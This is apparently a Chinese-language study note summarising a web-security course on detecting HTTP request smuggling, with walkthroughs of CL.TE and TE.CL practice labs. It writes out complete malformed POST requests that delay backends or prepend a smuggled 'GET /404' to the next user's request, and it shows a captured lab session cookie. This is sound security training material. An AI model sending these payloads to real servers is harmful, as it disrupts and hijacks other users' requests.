上篇:HTTP request smuggling - HTTP协议走私
完整版还是去官网看吧,这里只是记一点关键的>>>官网<<<
1.使用定时技术查找CL.TE漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
ps: x是一个十六进制的数
由于前端服务器使用内容长度标头,它将只转发该请求的一部分,忽略X。后端服务器使用传输编码头,处理第一个块,然后等待下一个块到达。这将导致一个可观察的时间延迟。
2.使用定时技术查找TE.CL漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
由于前端服务器使用传输编码头,它将只转发此请求的一部分,忽略X。后端服务器使用内容长度标头,期望消息正文中有更多内容,并等待剩余内容到达。这将导致一个可观察的时间延迟。
如果该应用程序易受该漏洞的CL.TE变体的攻击, 基于时间的TE.CL漏洞测试可能会影响其他应用程序用户。因此,为了保持隐秘性和最小化干扰,您应该首先使用CL.TE测试,只有在第一次测试失败时才继续进行TE.CL测试。
3.使用差异响应确认HTTP请求走私漏洞
快速地向应用程序发送两个请求:
- 一个“攻击”请求,旨在干扰下一个请求的处理。
- 一个“正常”的请求。
3.1使用差异响应确认CL.TE漏洞
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果攻击成功,则后端服务器将此请求的最后两行视为属于接收的下一个请求。这将导致随后的“正常”请求如下所示:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
做题:
这道题是让你通过请求走私,使下一个正常的GET根目录的请求报404
访问题目后 在Repeater中准备两个请求,一个是POST的攻击请求,一个是GET的访问根目录的请求(拦截一下访问主页的请求,然后转一下就行)
先发送POST攻击请求进行请求走私,在后端服务器的内存里留下
GET /404 HTTP/1.1
foo:
然后这部分请求就会和下一个正常GET根目录的请求拼接到一起了
GET /404 HTTP/1.1
foo:GET / HTTP/1.1
Host: accd1fb51f665066808f0011001600ac.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=IwRFKZDrpZyZh1au8Tqyl0vTb7lFuWgh
Upgrade-Insecure-Requests: 1
然后对于这个正常请求服务器报404了
3.2使用差异响应确认TE.CL漏洞
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
#\r\n
#\r\n
做题:
题目要求和前一题一样
截图截晚了,没法看到响应了,但结果是对的
注意:
在试图通过干扰其他请求确认请求走私漏洞时,应考虑到一些重要因素:
- 应该使用不同的网络连接将“攻击”请求和“正常”请求发送到服务器。通过相同的连接发送两个请求并不能证明该漏洞的存在。
- “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名称。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数会增加请求由同一后端服务器处理的可能性,这是攻击工作所必需的。
- 当测试“正常”请求以检测来自“攻击”请求的任何干扰时,您正在与应用程序同时接收的任何其他请求竞争,包括来自其他用户的请求。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序很忙,则可能需要执行多次尝试来确认该漏洞。
- 在某些应用中,前端服务器充当负载均衡器,并根据某些负载平衡算法将请求转发给不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这也是您可能需要尝试几次才能确认漏洞的另一个原因。
- 如果您的攻击成功地干扰了随后的请求,但这不是您为检测干扰而发送的“正常”请求,那么这意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。
下一篇:Exploiting HTTP request smuggling vulnerabilities - 利用HTTP请求走私漏洞